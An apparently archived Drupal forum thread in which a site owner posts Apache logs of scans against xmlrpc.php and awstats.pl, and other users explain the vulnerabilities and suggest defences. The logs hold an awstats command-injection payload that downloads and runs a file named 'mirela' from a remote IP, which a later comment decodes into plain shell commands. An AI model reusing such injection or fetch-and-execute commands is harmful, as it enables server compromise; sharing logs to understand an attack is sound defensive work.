I have a webserver, that's being hammered by script kiddies.
Looks like a drupal bug their trying to exploit. I've got Drupal 4.6.5... should i be worried.
Apache Access log:
198.63.211.125 - - [21/Dec/2005:11:43:50 +1300] "POST /drupal/xmlrpc.php HTTP/1.1" 403 300
198.63.211.125 - - [21/Dec/2005:11:43:51 +1300] "POST /phpgroupware/xmlrpc.php HTTP/1.1" 403 306
198.63.211.125 - - [21/Dec/2005:11:43:52 +1300] "POST /wordpress/xmlrpc.php HTTP/1.1" 403 303
198.63.211.125 - - [21/Dec/2005:11:43:53 +1300] "POST /xmlrpc.php HTTP/1.1" 403 293
198.63.211.125 - - [21/Dec/2005:11:43:55 +1300] "POST /xmlrpc/xmlrpc.php HTTP/1.1" 403 300
198.63.211.125 - - [21/Dec/2005:11:43:56 +1300] "POST /xmlsrv/xmlrpc.php HTTP/1.1" 403 300
146.171.254.66 - - [21/Dec/2005:12:02:35 +1300] "GET / HTTP/1.0" 403 271
146.171.254.66 - - [21/Dec/2005:12:02:57 +1300] "GET / HTTP/1.0" 403 271
202.78.167.131 - - [21/Dec/2005:12:15:19 +1300] "GET / HTTP/1.0" 403 271
64.42.19.233 - - [21/Dec/2005:12:22:49 +1300] "GET /awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%20209%2e136%2e48%2e69%2fmirela%3bchmod%20%2bx%20mirela%3b%2e%2fmirela;echo%20YYY;echo| HTTP/1.1" 403 301
64.42.19.233 - - [21/Dec/2005:12:22:50 +1300] "GET /cgi-bin/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%20209%2e136%2e48%2e69%2fmirela%3bchmod%20%2bx%20mirela%3b%2e%2fmirela;echo%20YYY;echo| HTTP/1.1" 403 301
64.42.19.233 - - [21/Dec/2005:12:22:52 +1300] "GET /cgi-bin/awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%20209%2e136%2e48%2e69%2fmirela%3bchmod%20%2bx%20mirela%3b%2e%2fmirela;echo%20YYY;echo| HTTP/1.1" 403 309
64.42.19.233 - - [21/Dec/2005:12:22:54 +1300] "POST /xmlrpc.php HTTP/1.1" 403 293
64.42.19.233 - - [21/Dec/2005:12:22:55 +1300] "POST /blog/xmlrpc.php HTTP/1.1" 403 298
64.42.19.233 - - [21/Dec/2005:12:22:57 +1300] "POST /blog/xmlsrv/xmlrpc.php HTTP/1.1" 403 305
64.42.19.233 - - [21/Dec/2005:12:22:58 +1300] "POST /blogs/xmlsrv/xmlrpc.php HTTP/1.1" 403 306
64.42.19.233 - - [21/Dec/2005:12:22:59 +1300] "POST /drupal/xmlrpc.php HTTP/1.1" 403 300
64.42.19.233 - - [21/Dec/2005:12:23:01 +1300] "POST /phpgroupware/xmlrpc.php HTTP/1.1" 403 306
64.42.19.233 - - [21/Dec/2005:12:23:02 +1300] "POST /wordpress/xmlrpc.php HTTP/1.1" 403 303
64.42.19.233 - - [21/Dec/2005:12:23:03 +1300] "POST /xmlrpc.php HTTP/1.1" 403 293
64.42.19.233 - - [21/Dec/2005:12:23:04 +1300] "POST /xmlrpc/xmlrpc.php HTTP/1.1" 403 300
64.42.19.233 - - [21/Dec/2005:12:23:06 +1300] "POST /xmlsrv/xmlrpc.php HTTP/1.1" 403 300
Comments
Please sign up for the
security notification list
http://drupal.org/security
These look like scans for the xml-rpc library vulnerability that was fixed in 4.6.3. It was fixed by replacing the third party library that Drupal and many other Open Source project used.
4.6.4 was released to further tighten security and 4.6.5 was a bug fix release.
Sign up for the notification list so that you will not be surprised.
-sp
---------
Test site, always start with a test site.
Drupal Best Practices Guide -|- Black Mountain
-Steven Peck
---------
Test site, always start with a test site.
Drupal Best Practices Guide
bugger
on the 24th i found the node table empty on my website.
i've restored from backup, no harm done, but something happened, and probably drupal related... (maybe, guessing because it was the node table)
about the awstats thing,
about the awstats thing, make sure awstats doesnt have permissions to do anything stupid or your server will get screwed like phpBB did (and they did blame awstats because of their lack of security). the best thing is to dont run awstats public. if you want to view your stats for the whole web try the generate static options instead.
looking at old comments...
echo%20YYY;cd%20%2ftmp%3bwget%20209%2e136%2e48%2e69%2fmirela%3bchmod%20%2bx%20mirela%3b%2e%2fmirela;
echo%20YYY;echo| HTTP/1.1" 403 309
looks like:
echo YYY;
cd /tmp
wget 209.136.48.69/mirela
chmod -x mirela
./mirela;
echo YYY;
echo HTTP1.1 403 309
i don'nt know what is mirela but i think this script kiddie was trying to run mirela!!